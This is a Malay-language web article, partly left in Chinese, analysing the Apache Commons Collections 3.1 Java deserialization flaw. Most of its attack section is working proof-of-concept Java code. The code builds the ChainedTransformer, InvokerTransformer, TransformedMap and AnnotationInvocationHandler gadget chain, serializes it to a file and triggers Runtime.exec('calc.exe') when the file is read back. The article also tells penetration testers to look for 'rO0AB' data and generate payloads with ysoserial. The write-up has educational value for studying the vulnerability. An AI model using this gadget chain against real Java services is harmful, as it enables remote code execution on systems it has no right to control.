Rumah > Artikel > Operasi dan penyelenggaraan > Contoh analisis kerentanan penyahserialisasian Apache Commons Collections
Walaupun kelemahan deserialisasi komponen ini telah dianalisis oleh banyak artikel, ia masih perlu direkodkan di sini. Lagipun, ini penting untuk pembangunan kelemahan penyahserialisasian Java.
Apache Commons Collections ialah perpustakaan alat yang sangat biasa digunakan dalam pembangunan aplikasi Java. Ia menambahkan banyak struktur data yang berkuasa, memudahkan pembangunan aplikasi Java dan telah menjadi piawaian yang diiktiraf untuk Java untuk memproses data pengumpulan. Banyak aplikasi biasa seperti Weblogic, WebSphere, Jboss, Jenkins, dsb. semuanya menggunakan pustaka alat Apache Commons Collections Apabila kerentanan penyahserilan berlaku dalam pustaka alat, aplikasi ini turut terjejas Inilah sebabnya kerentanan penyahserilan adalah sangat serius. sebab.
jdk1.7.0_21 + commons-collections-3.1.jar
Alamat muat turun versi sejarah komponen Apache Commons Collections: http ://archive.apache.org/dist/commons/collections/binaries/, atau gunakan kebergantungan maven:
Ini telah disepadukan dalam alat eksploitasi kerentanan Java ysoserial (https://github.com/frohoff/ysoserial) Komponen ini kelemahan mengeksploitasi muatan; semasa ujian penembusan, hanya cari titik masuk penyahserialisasian Java mengikut ciri-ciri data bersiri Java (data bermula dengan rO0AB dalam format pengekodan acedesimal atau base64), dan berdasarkan Web Jika aplikasi meneka bahawa Komponen CommonsCollections mungkin wujud, ia boleh terus menggunakan alat ysoserial untuk terus menjana muatan untuk eksploitasi kelemahan. 3. Analisis Kerentanan Di sini kami menganalisis rantaian eksploit kerentanan pelaksanaan kod yang dibina menggunakan antara muka Transformer dan beberapa kelas yang melaksanakan antara muka ini. Antara muka Transformer Takrifan antara muka Transformer adalah sangat mudah Ia hanya mentakrifkan kaedah transform() Menurut dokumentasi, kaedah ini digunakan terutamanya untuk penukaran objek. Terdapat beberapa kelas yang melaksanakan antara muka ini Di sini kami menggunakan tiga kelas pelaksanaan berikut: ConstantTransformer, InvokerTransformer dan ChainedTransformer.
commons-collections commons-collections
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }Kelas ChainedTransformerKelas ChainedTransformer mentakrifkan tatasusunan Transformer[], dan apabila melaksanakan kaedah transform(), ia merentasi elemen tatasusunan dalam turutan dan memanggil kelas pelaksanaan Transformer yang sepadan dengan tatasusunan elemen Kaedah transform() menggabungkan berbilang objek Transformer.
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }Kelas InvokerTransformerKaedah transform() kelas InvokerTransformer terutamanya memanggil kaedah objek parameter masuk melalui mekanisme pantulan Anda hanya perlu menetapkan nama kaedah dan jenis parameter apabila membina objek InvokerTransformer dan nilai parameter.
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }Kelas ConstantTransformerKelas ConstantTransformer sangat mudah dan terus mengembalikan objek yang masuk.
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }Memandangkan situasi di atas, kami menyasarkan untuk melaksanakan pelaksanaan kod Runtime.getRuntime().exec(). Jelas sekali, kita perlu menggunakan kaedah transform() kelas InvokerTransformer untuk melaksanakan panggilan refleksi. Seperti yang ditunjukkan di bawah, ini ialah sumber pelaksanaan kod:
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }Melangkah lebih jauh, kami mendapati bahawa kami boleh menggunakan kaedah transform() dalam kelas ChainedTransformer dan bukannya invoker3.transform(invoker2.transform(invoker1 .transform(Runtime.class ))), iaitu, mulakan berbilang objek InvokerTransformer di atas ke dalam tatasusunan Transformer[] dan gunakan Runtime.class untuk memulakan objek kelas ConstantTransformer Dengan cara ini, rantai panggilan Transformer yang boleh mencetuskan pelaksanaan kod menggunakan sebarang objek boleh dibina:
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }Seterusnya, kami berharap untuk mencetuskan panggilan kepada kaedah transform() objek Transformer melalui penyahserikatan untuk mencapai tujuan pelaksanaan kod. Kelas TransformedMapKoleksi Apache Commons mentakrifkan kelas TransformedMap untuk melakukan beberapa transformasi pada Map Kelas ini dibuat seketika dengan memanggil kaedah decorate(), seperti yang ditunjukkan di bawah:
Dan terdapat juga kaedah checkSetValue() dalam kelas ini, di mana kaedah transform() memanggil objek Transformer dilaksanakan mengikut penerangan kaedah, kaedah checkSetValue() Will dipanggil apabila kaedah setValue() dipanggil:
Oleh itu, idea kami adalah untuk memulakan objek TransformedMap dengan menggunakan objek Map dan objek Transformer berniat jahat yang dibina, dan kemudian panggil kaedah setValue () mengubah suai nilai objek Map Kodnya adalah seperti berikut:
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
Teruskan mencari tempat di mana pelaksanaan kaedah setValue() dicetuskan melalui penyahserilan, dan akhirnya menemuinya dalam kaedah readObject() kelas AnnotationInvocationHandler.
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
Atas ialah kandungan terperinci Contoh analisis kerentanan penyahserialisasian Apache Commons Collections. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!